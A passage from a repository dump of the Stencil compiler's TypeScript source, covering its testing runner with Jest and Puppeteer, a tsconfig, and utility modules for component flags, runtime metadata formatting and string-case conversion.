    "content": "import { start } from '@stencil/core/dev-server';\nimport type {\n  Compiler,\n  CompilerBuildResults,\n  CompilerWatcher,\n  DevServer,\n  E2EProcessEnv,\n  OutputTargetWww,\n  Testing,\n  TestingRunOptions,\n  ValidatedConfig,\n} from '@stencil/core/internal';\nimport { hasError } from '@utils';\nimport type * as puppeteer from 'puppeteer';\n\nimport { getRunner, getScreenshot } from './jest/jest-stencil-connector';\nimport { startPuppeteerBrowser } from './puppeteer/puppeteer-browser';\nimport { getAppScriptUrl, getAppStyleUrl } from './testing-utils';\n\nexport const createTesting = async (config: ValidatedConfig): Promise<Testing> => {\n  config = setupTestingConfig(config);\n\n  const { createCompiler } = require('../compiler/stencil.js');\n  const compiler: Compiler = await createCompiler(config);\n\n  let devServer: DevServer | null;\n  let puppeteerBrowser: puppeteer.Browser | null;\n\n  /**\n   * Initiate running spec and/or end-to-end tests with Stencil\n   * @param opts running options to apply when\n   * @returns true if all tests passed. Returns false if any tests failed or an error occurred during the test\n   * setup/running process\n   */\n  const run = async (opts: TestingRunOptions = {}): Promise<boolean> => {\n    let doScreenshots = false;\n    let passed = false;\n    let env: E2EProcessEnv;\n    let compilerWatcher: CompilerWatcher | null = null;\n    const msg: string[] = [];\n\n    try {\n      if (!opts.spec && !opts.e2e) {\n        config.logger.error(\n          `Testing requires either the --spec or --e2e command line flags, or both. For example, to run unit tests, use the command: stencil test --spec`,\n        );\n        return false;\n      }\n\n      // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n      env = process.env as E2EProcessEnv;\n\n      if (opts.e2e) {\n        msg.push('e2e');\n        env.__STENCIL_E2E_TESTS__ = 'true';\n      }\n\n      if (opts.spec) {\n        msg.push('spec');\n        env.__STENCIL_SPEC_TESTS__ = 'true';\n      }\n\n      config.logger.info(config.logger.magenta(`testing ${msg.join(' and ')} files${config.watch ? ' (watch)' : ''}`));\n\n      doScreenshots = !!(opts.e2e && opts.screenshot);\n      if (doScreenshots) {\n        env.__STENCIL_SCREENSHOT__ = 'true';\n        if (config.testing.screenshotTimeout != null) {\n          env.__STENCIL_SCREENSHOT_TIMEOUT_MS__ = config.testing.screenshotTimeout.toString();\n        }\n\n        if (opts.updateScreenshot) {\n          config.logger.info(config.logger.magenta(`updating master screenshots`));\n        } else {\n          config.logger.info(config.logger.magenta(`comparing against master screenshots`));\n        }\n      }\n\n      if (opts.e2e) {\n        // e2e tests only\n        // do a build, start a dev server\n        // and spin up a puppeteer browser\n        let buildTask: Promise<CompilerBuildResults> | null = null;\n\n        (config.outputTargets as OutputTargetWww[]).forEach((outputTarget) => {\n          outputTarget.empty = false;\n        });\n\n        const doBuild = !(config.flags && config.flags.build === false);\n        if (doBuild && config.watch) {\n          compilerWatcher = await compiler.createWatcher();\n        }\n\n        if (doBuild) {\n          if (compilerWatcher) {\n            const watcher = compilerWatcher;\n            buildTask = new Promise((resolve) => {\n              const removeListener = watcher.on('buildFinish', (buildResults) => {\n                removeListener();\n                resolve(buildResults);\n              });\n            });\n            watcher.start();\n          } else {\n            buildTask = compiler.build();\n          }\n        }\n\n        config.devServer.openBrowser = false;\n        config.devServer.gzip = false;\n        config.devServer.reloadStrategy = null;\n\n        const startupResults = await Promise.all([\n          start(config.devServer, config.logger),\n          startPuppeteerBrowser(config),\n        ]);\n\n        devServer = startupResults[0];\n        puppeteerBrowser = startupResults[1];\n\n        if (buildTask) {\n          const results = await buildTask;\n          if (!results || (!config.watch && hasError(results && results.diagnostics))) {\n            await destroy();\n            return false;\n          }\n        }\n\n        if (devServer) {\n          env.__STENCIL_BROWSER_URL__ = devServer.browserUrl;\n          config.logger.debug(`e2e dev server url: ${env.__STENCIL_BROWSER_URL__}`);\n\n          env.__STENCIL_APP_SCRIPT_URL__ = getAppScriptUrl(config, devServer.browserUrl);\n          config.logger.debug(`e2e app script url: ${env.__STENCIL_APP_SCRIPT_URL__}`);\n\n          const styleUrl = getAppStyleUrl(config, devServer.browserUrl);\n          if (styleUrl) {\n            env.__STENCIL_APP_STYLE_URL__ = styleUrl;\n            config.logger.debug(`e2e app style url: ${env.__STENCIL_APP_STYLE_URL__}`);\n          }\n        }\n      }\n    } catch (e) {\n      config.logger.error(e);\n      return false;\n    }\n\n    try {\n      if (doScreenshots) {\n        const runJestScreenshot = getScreenshot();\n        passed = await runJestScreenshot(config, env);\n      } else {\n        const runJest = getRunner();\n        passed = await runJest(config, env);\n      }\n      config.logger.info('');\n      if (compilerWatcher) {\n        await compilerWatcher.close();\n      }\n    } catch (e) {\n      config.logger.error(e);\n    }\n\n    return passed;\n  };\n\n  /**\n   * As the name suggests, this destroys things! In particular it will call the\n   * `destroy` method on `config.sys` (if present) and it will also \"null out\"\n   * `config` for GC purposes.\n   */\n  const destroy = async () => {\n    const closingTime: Promise<any>[] = []; // you don't have to go home but you can't stay here\n    if (config) {\n      if (config.sys && config.sys.destroy) {\n        closingTime.push(config.sys.destroy());\n      }\n      // we're doing this for a good reason! we want to ensure that there's not\n      // a reference to the config object so it can be GC'ed\n      // @ts-ignore\n      config = null;\n    }\n\n    if (devServer) {\n      if (devServer.close) {\n        closingTime.push(devServer.close());\n      }\n      devServer = null;\n    }\n\n    if (puppeteerBrowser) {\n      if (puppeteerBrowser.close) {\n        closingTime.push(puppeteerBrowser.close());\n      }\n      puppeteerBrowser = null;\n    }\n\n    await Promise.all(closingTime);\n  };\n\n  return {\n    destroy,\n    run,\n  };\n};\n\n/**\n * Create a Stencil configuration for testing purposes.\n *\n * This function accepts an internal, validated configuration entity and modifies fields on the object to be more\n * conducive to testing.\n *\n * @param validatedConfig the configuration to modify\n * @returns the modified testing configuration\n */\nfunction setupTestingConfig(validatedConfig: ValidatedConfig): ValidatedConfig {\n  validatedConfig.buildEs5 = false;\n  validatedConfig.devMode = true;\n  validatedConfig.minifyCss = false;\n  validatedConfig.minifyJs = false;\n  validatedConfig.hashFileNames = false;\n  validatedConfig.validateTypes = false;\n  validatedConfig._isTesting = true;\n  validatedConfig.buildDist = true;\n\n  validatedConfig.flags.serve = false;\n  validatedConfig.flags.open = false;\n\n  validatedConfig.outputTargets.forEach((o) => {\n    if (o.type === 'www') {\n      o.serviceWorker = null;\n    }\n  });\n\n  if (validatedConfig.flags.args.includes('--watchAll')) {\n    validatedConfig.watch = true;\n  }\n\n  return validatedConfig;\n}\n"
  },
  {
    "path": "src/testing/tsconfig.internal.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\"dom\", \"es2017\", \"esnext.array\"],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core/cli\": [\"../cli/index.ts\"],\n      \"@stencil/core/compiler\": [\"../compiler/index.ts\"],\n      \"@stencil/core/declarations\": [\"../declarations/index.ts\"],\n      \"@stencil/core/mock-doc\": [\"../mock-doc/index.ts\"],\n      \"@stencil/core/testing\": [\"../testing/index.ts\"],\n      \"@stencil/core\": [\"../index.ts\"],\n      \"@sys-api-node\": [\"../sys/node/index.ts\"],\n      \"@utils\": [\"../utils/index.ts\"]\n    }\n  }\n}\n"
  },
  {
    "path": "src/utils/byte-size.ts",
    "content": "/**\n * Used to learn the size of a string in bytes.\n *\n * @param str The string to measure\n * @returns number\n */\nexport const byteSize = (str: string) => Buffer.byteLength(str, 'utf8');\n"
  },
  {
    "path": "src/utils/constants.ts",
    "content": "export const enum MEMBER_FLAGS {\n  String = 1 << 0,\n  Number = 1 << 1,\n  Boolean = 1 << 2,\n  Any = 1 << 3,\n  Unknown = 1 << 4,\n\n  State = 1 << 5,\n  Method = 1 << 6,\n  Event = 1 << 7,\n  Element = 1 << 8,\n\n  ReflectAttr = 1 << 9,\n  Mutable = 1 << 10,\n\n  Getter = 1 << 11,\n  Setter = 1 << 12,\n\n  Prop = String | Number | Boolean | Any | Unknown,\n  HasAttribute = String | Number | Boolean | Any | Unknown,\n  PropLike = Prop | State,\n}\n\nexport const enum WATCH_FLAGS {\n  Immediate = 1 << 0,\n}\n\nexport const enum EVENT_FLAGS {\n  Cancellable = 1 << 0,\n  Composed = 1 << 1,\n  Bubbles = 1 << 2,\n}\n\nexport const enum LISTENER_FLAGS {\n  Passive = 1 << 0,\n  Capture = 1 << 1,\n\n  TargetDocument = 1 << 2,\n  TargetWindow = 1 << 3,\n  TargetBody = 1 << 4,\n\n  /**\n   * @deprecated Prevented from new apps, but left in for older collections\n   */\n  TargetParent = 1 << 5,\n}\n\nexport const enum HOST_FLAGS {\n  hasConnected = 1 << 0,\n  hasRendered = 1 << 1,\n  isWaitingForChildren = 1 << 2,\n  isConstructingInstance = 1 << 3,\n  isQueuedForUpdate = 1 << 4,\n  hasInitializedComponent = 1 << 5,\n  hasLoadedComponent = 1 << 6,\n  isWatchReady = 1 << 7,\n  isListenReady = 1 << 8,\n  needsRerender = 1 << 9,\n\n  // DEV ONLY\n  devOnRender = 1 << 10,\n  devOnDidLoad = 1 << 11,\n}\n\n/**\n * A set of flags used for bitwise calculations against {@link ComponentRuntimeMeta#$flags$}.\n *\n * These flags should only be used in conjunction with {@link ComponentRuntimeMeta#$flags$}.\n * They should _not_ be used for calculations against other fields/numbers\n */\nexport const enum CMP_FLAGS {\n  /**\n   * Used to determine if a component is using the shadow DOM.\n   * e.g. `shadow: true | {}` is set on the `@Component()` decorator\n   */\n  shadowDomEncapsulation = 1 << 0,\n  /**\n   * Used to determine if a component is using scoped stylesheets\n   * e.g. `scoped: true` is set on the `@Component()` decorator\n   */\n  scopedCssEncapsulation = 1 << 1,\n  /**\n   * Used to determine if a component does not use the shadow DOM _and_ has `<slot/>` tags in its markup.\n   */\n  hasSlotRelocation = 1 << 2,\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  // Note that when we remove this field we should consider whether we need to\n  // retain a placeholder here, since if we want to have compatibility between\n  // different versions of the runtime then we'll need to not shift the values\n  // of the other higher flags down\n  /**\n   * Determines if a shim for the shadow DOM is necessary.\n   *\n   * The shim should only be needed if a component requires {@link shadowDomEncapsulation} and if any output\n   * target-specific criteria are met. Refer to this flag's usage to determine each output target's criteria.\n   */\n  needsShadowDomShim = 1 << 3,\n  /**\n   * Determines if `delegatesFocus` is enabled for a component that uses the shadow DOM.\n   * e.g. `shadow: { delegatesFocus: true }` is set on the `@Component()` decorator\n   */\n  shadowDelegatesFocus = 1 << 4,\n  /**\n   * Determines if `mode` is set on the `@Component()` decorator\n   */\n  hasMode = 1 << 5,\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  /**\n   * Determines if styles must be scoped due to either:\n   * 1. A component is using scoped stylesheets ({@link scopedCssEncapsulation})\n   * 2. A component is using the shadow DOM _and_ the output target's rules for requiring a shadow DOM shim have been\n   * met ({@link needsShadowDomShim})\n   */\n  needsScopedEncapsulation = scopedCssEncapsulation | needsShadowDomShim,\n  /**\n   * Determines if a component is form-associated or not. This is set based on\n   * options passed to the `@Component` decorator.\n   */\n  formAssociated = 1 << 6,\n\n  /**\n   * Determines if a `shadow: true` component needs\n   * to have its styles scoped during SSR as opposed to using DSD.\n   */\n  shadowNeedsScopedCss = 1 << 7,\n\n  /**\n   * Determines if a component has a `<slot>` in its template.\n   */\n  hasSlot = 1 << 8,\n\n  /**\n   * Determines if a component uses modern class property declarations.\n   */\n  hasModernPropertyDecls = 1 << 9,\n\n  /**\n   * Determines if `slotAssignment` is set to `'manual'` for a component that uses the shadow DOM.\n   * e.g. `shadow: { slotAssignment: 'manual' }` is set on the `@Component()` decorator\n   */\n  shadowSlotAssignmentManual = 1 << 10,\n}\n\n/**\n * Default style mode id\n */\nexport const DEFAULT_STYLE_MODE = '$';\n\n/**\n * Namespaces\n */\nexport const SVG_NS = 'http://www.w3.org/2000/svg';\nexport const HTML_NS = 'http://www.w3.org/1999/xhtml';\nexport const XLINK_NS = 'http://www.w3.org/1999/xlink';\n\n/**\n * File names and value\n */\nexport const COLLECTION_MANIFEST_FILE_NAME = 'collection-manifest.json';\n\n/**\n * Constant for the 'copy' output target\n */\nexport const COPY = 'copy';\n/**\n * Constant for the 'custom' output target\n */\nexport const CUSTOM = 'custom';\n/**\n * Constant for the 'dist' output target\n */\nexport const DIST = 'dist';\n/**\n * Constant for the 'dist-collection' output target\n */\nexport const DIST_COLLECTION = 'dist-collection';\n/**\n * Constant for the 'dist-custom-elements' output target\n */\nexport const DIST_CUSTOM_ELEMENTS = 'dist-custom-elements';\n\n/**\n * Constant for the 'dist-types' output target\n */\nexport const DIST_TYPES = 'dist-types';\n/**\n * Constant for the 'dist-hydrate-script' output target\n */\nexport const DIST_HYDRATE_SCRIPT = 'dist-hydrate-script';\n/**\n * Constant for the 'dist-lazy' output target\n */\nexport const DIST_LAZY = 'dist-lazy';\n/**\n * Constant for the 'dist-lazy-loader' output target\n */\nexport const DIST_LAZY_LOADER = 'dist-lazy-loader';\n/**\n * Constant for the 'dist-global-styles' output target\n */\nexport const DIST_GLOBAL_STYLES = 'dist-global-styles';\n/**\n * Constant for the 'docs-custom' output target\n */\nexport const DOCS_CUSTOM = 'docs-custom';\n/**\n * Constant for the 'docs-json' output target\n */\nexport const DOCS_JSON = 'docs-json';\n/**\n * Constant for the 'docs-readme' output target\n */\nexport const DOCS_README = 'docs-readme';\n/**\n * Constant for the 'docs-vscode' output target\n */\nexport const DOCS_VSCODE = 'docs-vscode';\n/**\n * Constant for the 'docs-custom-elements-manifest' output target\n */\nexport const DOCS_CUSTOM_ELEMENTS_MANIFEST = 'docs-custom-elements-manifest';\n/**\n * Constant for the 'stats' output target\n */\nexport const STATS = 'stats';\n/**\n * Constant for the 'www' output target\n */\nexport const WWW = 'www';\n\n/**\n * Valid output targets to specify in a Stencil config.\n *\n * Note that there are some output targets (e.g. `DIST_TYPES`) which are\n * programmatically set as output targets by the compiler when other output\n * targets (in that case `DIST`) are set, but which are _not_ supported in a\n * Stencil config. This is enforced in the output target validation code.\n */\nexport const VALID_CONFIG_OUTPUT_TARGETS = [\n  // DIST\n  WWW,\n  DIST,\n  DIST_COLLECTION,\n  DIST_CUSTOM_ELEMENTS,\n  DIST_LAZY,\n  DIST_HYDRATE_SCRIPT,\n\n  // DOCS\n  DOCS_JSON,\n  DOCS_README,\n  DOCS_VSCODE,\n  DOCS_CUSTOM,\n  DOCS_CUSTOM_ELEMENTS_MANIFEST,\n\n  // MISC\n  COPY,\n  CUSTOM,\n  STATS,\n] as const;\n\nexport const GENERATED_DTS = 'components.d.ts';\n\n/**\n * DOM Node types\n *\n * See https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType\n *\n * Note: this is a duplicate of the `NODE_TYPES` enum in mock-doc, it's\n * copied over here so that we do not need to introduce a dependency on the\n * mock-doc bundle in the runtime. See\n * https://github.com/stenciljs/core/pull/5705 for more details.\n */\nexport const enum NODE_TYPES {\n  ELEMENT_NODE = 1,\n  ATTRIBUTE_NODE = 2,\n  TEXT_NODE = 3,\n  CDATA_SECTION_NODE = 4,\n  ENTITY_REFERENCE_NODE = 5,\n  ENTITY_NODE = 6,\n  PROCESSING_INSTRUCTION_NODE = 7,\n  COMMENT_NODE = 8,\n  DOCUMENT_NODE = 9,\n  DOCUMENT_TYPE_NODE = 10,\n  DOCUMENT_FRAGMENT_NODE = 11,\n  NOTATION_NODE = 12,\n}\n\n/**\n * Represents a primitive type.\n * Described in https://w3c.github.io/webdriver-bidi/#type-script-PrimitiveProtocolValue.\n */\nexport enum PrimitiveType {\n  Undefined = 'undefined',\n  Null = 'null',\n  String = 'string',\n  Number = 'number',\n  SpecialNumber = 'number',\n  Boolean = 'boolean',\n  BigInt = 'bigint',\n}\n\n/**\n * Represents a non-primitive type.\n * Described in https://w3c.github.io/webdriver-bidi/#type-script-RemoteValue.\n * @deprecated will be removed in v5. Use `@AttrDeserialize()` / `@PropDeserialize()` decorators instead.\n */\nexport enum NonPrimitiveType {\n  Array = 'array',\n  Date = 'date',\n  Map = 'map',\n  Object = 'object',\n  RegularExpression = 'regexp',\n  Set = 'set',\n  Channel = 'channel',\n  Symbol = 'symbol',\n}\n\n/**  @deprecated will be removed in v5. Use `@AttrDeserialize()` / `@PropDeserialize()` decorators instead. */\nexport const TYPE_CONSTANT = 'type';\n/**  @deprecated will be removed in v5. Use `@AttrDeserialize()` / `@PropDeserialize()` decorators instead. */\nexport const VALUE_CONSTANT = 'value';\n/**  @deprecated will be removed in v5. Use `@AttrDeserialize()` / `@PropDeserialize()` decorators instead. */\nexport const SERIALIZED_PREFIX = 'serialized:';\n"
  },
  {
    "path": "src/utils/es2022-rewire-class-members.ts",
    "content": "import { BUILD } from '@app-data';\nimport { MEMBER_FLAGS } from '@utils/constants';\n\nimport type * as d from '../declarations';\nimport { getPropertyDescriptor } from './get-prop-descriptor';\n\n/**\n * - Re-wires component prototype `get` / `set` with instance `@State` / `@Prop` decorated fields.\n * - Makes sure the initial value from the `Element` is synced to the instance `@Prop` decorated fields.\n *\n * Background:\n * During component init, Stencil loops through any `@Prop()` or `@State()` decorated properties\n * and sets up getters and setters for each (within `src/runtime/proxy-component.ts`) on a component prototype.\n *\n * These accessors sync-up class instances with their `Element` and controls re-renders.\n * With modern JS, compiled classes (e.g. `target: 'es2022'`) compiled Stencil components went from:\n *\n * ```ts\n * class MyComponent {\n *   constructor() {\n *     this.prop1 = 'value1';\n *   }\n * }\n * ```\n * To:\n * ```ts\n * class MyComponent {\n *  prop1 = 'value2';\n *  // ^^ These override the accessors originally set on the prototype\n * }\n * ```\n *\n * @param instance - class instance to re-wire\n * @param hostRef - component reference meta\n */\nexport const reWireGetterSetter = (instance: any, hostRef: d.HostRef) => {\n  const cmpMeta = hostRef.$cmpMeta$;\n  const members = Object.entries(cmpMeta.$members$ ?? {});\n\n  members.map(([memberName, [memberFlags]]) => {\n    if ((BUILD.state || BUILD.prop) && (memberFlags & MEMBER_FLAGS.Prop || memberFlags & MEMBER_FLAGS.State)) {\n      const ogValue = instance[memberName];\n\n      // Get the original Stencil prototype `get` / `set`\n      const ogDescriptor =\n        getPropertyDescriptor(Object.getPrototypeOf(instance), memberName, true) ||\n        Object.getOwnPropertyDescriptor(instance, memberName);\n\n      if (ogDescriptor) {\n        // Re-wire original accessors to the new instance\n        Object.defineProperty(instance, memberName, {\n          get() {\n            return ogDescriptor.get.call(this);\n          },\n          set(newValue) {\n            ogDescriptor.set.call(this, newValue);\n          },\n          configurable: true,\n          enumerable: true,\n        });\n      }\n\n      if (hostRef.$instanceValues$.has(memberName)) {\n        instance[memberName] = hostRef.$instanceValues$.get(memberName);\n      } else if (ogValue !== undefined) {\n        instance[memberName] = ogValue;\n      }\n    }\n  });\n};\n"
  },
  {
    "path": "src/utils/format-component-runtime-meta.ts",
    "content": "import type * as d from '../declarations';\nimport { CMP_FLAGS, LISTENER_FLAGS, MEMBER_FLAGS, WATCH_FLAGS } from './constants';\n\nexport const formatLazyBundleRuntimeMeta = (\n  bundleId: any,\n  cmps: d.ComponentCompilerMeta[],\n): d.LazyBundleRuntimeData => {\n  return [bundleId, cmps.map((cmp) => formatComponentRuntimeMeta(cmp, true))];\n};\n\n/**\n * Transform metadata about a component from the compiler to a compact form for\n * use at runtime.\n *\n * @param compilerMeta component metadata gathered during compilation\n * @param includeMethods include methods in the component's members or not\n * @returns a compact format for component metadata, intended for runtime use\n */\nexport const formatComponentRuntimeMeta = (\n  compilerMeta: d.ComponentCompilerMeta,\n  includeMethods: boolean,\n): d.ComponentRuntimeMetaCompact => {\n  let flags = 0;\n  if (compilerMeta.encapsulation === 'shadow') {\n    flags |= CMP_FLAGS.shadowDomEncapsulation;\n    if (compilerMeta.shadowDelegatesFocus) {\n      flags |= CMP_FLAGS.shadowDelegatesFocus;\n    }\n    if (compilerMeta.slotAssignment === 'manual') {\n      flags |= CMP_FLAGS.shadowSlotAssignmentManual;\n    }\n  } else if (compilerMeta.encapsulation === 'scoped') {\n    flags |= CMP_FLAGS.scopedCssEncapsulation;\n  }\n  if (compilerMeta.formAssociated) {\n    flags |= CMP_FLAGS.formAssociated;\n  }\n  if (compilerMeta.encapsulation !== 'shadow' && compilerMeta.htmlTagNames.includes('slot')) {\n    flags |= CMP_FLAGS.hasSlotRelocation;\n  }\n  if (compilerMeta.hasSlot) {\n    flags |= CMP_FLAGS.hasSlot;\n  }\n  if (compilerMeta.hasMode) {\n    flags |= CMP_FLAGS.hasMode;\n  }\n  if (compilerMeta.hasModernPropertyDecls) {\n    flags |= CMP_FLAGS.hasModernPropertyDecls;\n  }\n\n  const members = formatComponentRuntimeMembers(compilerMeta, includeMethods);\n  const hostListeners = formatHostListeners(compilerMeta);\n  const watchers = formatComponentRuntimeReactiveHandlers(compilerMeta, 'watchers');\n  const serializers = formatComponentRuntimeReactiveHandlers(compilerMeta, 'serializers');\n  const deserializers = formatComponentRuntimeReactiveHandlers(compilerMeta, 'deserializers');\n\n  return trimFalsy([\n    flags,\n    compilerMeta.tagName,\n    Object.keys(members).length > 0 ? members : undefined,\n    hostListeners.length > 0 ? hostListeners : undefined,\n    Object.keys(watchers).length > 0 ? watchers : undefined,\n    Object.keys(serializers).length > 0 ? serializers : undefined,\n    Object.keys(deserializers).length > 0 ? deserializers : undefined,\n  ]);\n};\n\nexport const stringifyRuntimeData = (data: any) => {\n  const json = JSON.stringify(data);\n  if (json.length > 10000) {\n    // JSON metadata is big, JSON.parse() is faster\n    // https://twitter.com/mathias/status/1143551692732030979\n    return `JSON.parse(${JSON.stringify(json)})`;\n  }\n  return json;\n};\n\n/**\n * Transforms Stencil compiler metadata into a {@link d.ComponentCompilerMeta} object.\n * This handles processing any compiler metadata transformed from components' uses of `@Watch()`, `@PropSerialize()`, and `@AttrDeserialize()`.\n * The map of watched properties to their callback(s) will be immediately available\n * to the runtime at bootstrap.\n *\n * @param compilerMeta Component metadata gathered during compilation\n * @param decorator The decorator type to be processed: 'watchers', 'serializers', or 'deserializers'\n * @returns An object mapping watched properties to their respective callback(s)\n */\nconst formatComponentRuntimeReactiveHandlers = (\n  compilerMeta: d.ComponentCompilerMeta,\n  decorator: 'watchers' | 'serializers' | 'deserializers',\n) => {\n  const handlers: d.ComponentConstructorChangeHandlers = {};\n  compilerMeta[decorator]?.forEach(({ propName, methodName, handlerOptions }) => {\n    let watcherFlags = 0;\n    if (handlerOptions?.immediate) {\n      watcherFlags |= WATCH_FLAGS.Immediate;\n    }\n    handlers[propName] = [...(handlers[propName] ?? []), { [methodName]: watcherFlags }];\n  });\n\n  return handlers;\n};\n\nconst formatComponentRuntimeMembers = (\n  compilerMeta: d.ComponentCompilerMeta,\n  includeMethods = true,\n): d.ComponentRuntimeMembers => {\n  return {\n    ...formatPropertiesRuntimeMember(compilerMeta.properties),\n    ...formatStatesRuntimeMember(compilerMeta.states),\n    ...(includeMethods ? formatMethodsRuntimeMember(compilerMeta.methods) : {}),\n  };\n};\n\nconst formatPropertiesRuntimeMember = (properties: d.ComponentCompilerProperty[]) => {\n  const runtimeMembers: d.ComponentRuntimeMembers = {};\n\n  properties.forEach((member) => {\n    runtimeMembers[member.name] = trimFalsy([\n      /**\n       * [0] member type\n       */\n      formatFlags(member),\n      formatAttrName(member),\n    ]);\n  });\n  return runtimeMembers;\n};\n\nconst formatFlags = (compilerProperty: d.ComponentCompilerProperty) => {\n  let type = formatPropType(compilerProperty.type);\n  if (compilerProperty.mutable) {\n    type |= MEMBER_FLAGS.Mutable;\n  }\n  if (compilerProperty.reflect) {\n    type |= MEMBER_FLAGS.ReflectAttr;\n  }\n  if (compilerProperty.getter) {\n    type |= MEMBER_FLAGS.Getter;\n  }\n  if (compilerProperty.setter) {\n    type |= MEMBER_FLAGS.Setter;\n  }\n  return type;\n};\n\n/**\n * We mainly add the alternative kebab-case attribute name because it might\n * be used in an HTML environment (non JSX). Since we support hydration of\n * complex types we provide a kebab-case attribute name for properties with\n * these types.\n */\nconst kebabCaseSupportForTypes = ['string', 'unknown'];\n\nconst formatAttrName = (compilerProperty: d.ComponentCompilerProperty) => {\n  if (kebabCaseSupportForTypes.includes(typeof compilerProperty.attribute)) {\n    // string attr name means we should observe this attribute\n    if (compilerProperty.name === compilerProperty.attribute) {\n      // property name and attribute name are the exact same\n      // true value means to use the property name for the attribute name\n      return undefined;\n    }\n\n    // property name and attribute name are not the same\n    // so we need to return the actual string value\n    // example: \"multiWord\" !== \"multi-word\"\n    return compilerProperty.attribute;\n  }\n\n  // we shouldn't even observe an attribute for this property\n  return undefined;\n};\n\nconst formatPropType = (type: d.ComponentCompilerPropertyType) => {\n  if (type === 'string') {\n    return MEMBER_FLAGS.String;\n  }\n  if (type === 'number') {\n    return MEMBER_FLAGS.Number;\n  }\n  if (type === 'boolean') {\n    return MEMBER_FLAGS.Boolean;\n  }\n  if (type === 'any') {\n    return MEMBER_FLAGS.Any;\n  }\n  return MEMBER_FLAGS.Unknown;\n};\n\nconst formatStatesRuntimeMember = (states: d.ComponentCompilerState[]) => {\n  const runtimeMembers: d.ComponentRuntimeMembers = {};\n\n  states.forEach((member) => {\n    runtimeMembers[member.name] = [\n      /**\n       * [0] member flags\n       */\n      MEMBER_FLAGS.State,\n    ];\n  });\n  return runtimeMembers;\n};\n\nconst formatMethodsRuntimeMember = (methods: d.ComponentCompilerMethod[]) => {\n  const runtimeMembers: d.ComponentRuntimeMembers = {};\n\n  methods.forEach((member) => {\n    runtimeMembers[member.name] = [\n      /**\n       * [0] member flags\n       */\n      MEMBER_FLAGS.Method,\n    ];\n  });\n  return runtimeMembers;\n};\n\nconst formatHostListeners = (compilerMeta: d.ComponentCompilerMeta) => {\n  return compilerMeta.listeners.map((compilerListener) => {\n    const hostListener: d.ComponentRuntimeHostListener = [\n      computeListenerFlags(compilerListener),\n      compilerListener.name,\n      compilerListener.method,\n    ];\n    return hostListener;\n  });\n};\n\nconst computeListenerFlags = (listener: d.ComponentCompilerListener) => {\n  let flags = 0;\n  if (listener.capture) {\n    flags |= LISTENER_FLAGS.Capture;\n  }\n  if (listener.passive) {\n    flags |= LISTENER_FLAGS.Passive;\n  }\n  switch (listener.target) {\n    case 'document':\n      flags |= LISTENER_FLAGS.TargetDocument;\n      break;\n    case 'window':\n      flags |= LISTENER_FLAGS.TargetWindow;\n      break;\n    case 'body':\n      flags |= LISTENER_FLAGS.TargetBody;\n      break;\n    case 'parent' as any:\n      flags |= LISTENER_FLAGS.TargetParent;\n      break;\n  }\n  return flags;\n};\n\nconst trimFalsy = (data: any): any => {\n  const arr = data as any[];\n  for (let i = arr.length - 1; i >= 0; i--) {\n    if (arr[i]) {\n      break;\n    }\n    // if falsy, safe to pop()\n    arr.pop();\n  }\n\n  return arr;\n};\n"
  },
  {
    "path": "src/utils/get-prop-descriptor.ts",
    "content": "/**\n * Walks up a prototype chain to find a property descriptor.\n * Stops before reaching native DOM prototypes (HTMLElement, etc.) to avoid\n * treating native properties like `hidden` as component-defined getters.\n * @param obj - The object to search on.\n * @param memberName - The name of the member to find.\n * @param getOnly - If true, only returns descriptors with a getter (i.e. ignores properties that are only fields or have setters without getters).\n * @returns The property descriptor if found, otherwise undefined.\n */\nexport function getPropertyDescriptor(\n  obj: object,\n  memberName: string,\n  getOnly?: boolean,\n): PropertyDescriptor | undefined {\n  // Stop before native DOM prototypes to avoid picking up native properties\n  const stopAt = typeof HTMLElement !== 'undefined' ? HTMLElement.prototype : null;\n\n  while (obj && obj !== stopAt) {\n    const desc = Object.getOwnPropertyDescriptor(obj, memberName);\n    if (desc && (!getOnly || desc.get)) return desc;\n    obj = Object.getPrototypeOf(obj);\n  }\n  return undefined;\n}\n"
  },
  {
    "path": "src/utils/helpers.ts",
    "content": "export const isDef = (v: any) => v != null && v !== undefined;\n\n/**\n * Convert a string from PascalCase to dash-case\n *\n * @param str the string to convert\n * @returns a converted string\n */\nexport const toDashCase = (str: string): string =>\n  str\n    .replace(/([A-Z0-9])/g, (match) => ` ${match[0]}`)\n    .trim()\n    .split(' ')\n    .join('-')\n    .toLowerCase();\n\n/**\n * Convert a string from dash-case / kebab-case to PascalCase (or CamelCase,\n * or whatever you call it!)\n *\n * @param str a string to convert\n * @returns a converted string\n */\nexport const dashToPascalCase = (str: string): string =>\n  str\n    .toLowerCase()\n    .split('-')\n    .map((segment) => segment.charAt(0).toUpperCase() + segment.slice(1))\n    .join('');\n\n/**\n * Convert a string to 'camelCase'\n *\n * @param str the string to convert\n * @returns the converted string\n */\nexport const toCamelCase = (str: string) => {\n  const pascalCase = dashToPascalCase(str);\n  return pascalCase.charAt(0).toLowerCase() + pascalCase.slice(1);\n};\n\n/**\n * Capitalize the first letter of a string\n *\n * @param str the string to capitalize\n * @returns a capitalized string\n */\nexport const toTitleCase = (str: string): string => str.charAt(0).toUpperCase() + str.slice(1);\n\n/**\n * Escapes all occurrences of a specified pattern in a string.\n * @description This function replaces all matches of a given pattern in the input text with a specified replacement string.\n * It can handle both string and regular expression patterns and allows toggling between global and single-match replacements.\n * @param {string} text - The input string to process.\n * @param {RegExp | string} pattern - The pattern to search for in the input string. Can be a regular expression or a string.\n * @param {string} replacement - The string to replace each match with.\n * @param {boolean} [replaceAll=true] - Whether to replace all occurrences (`true`) or just the first occurrence (`false`). Defaults to `true`.\n * @returns {string} The processed string with the replacements applied.\n * @example\n * @see 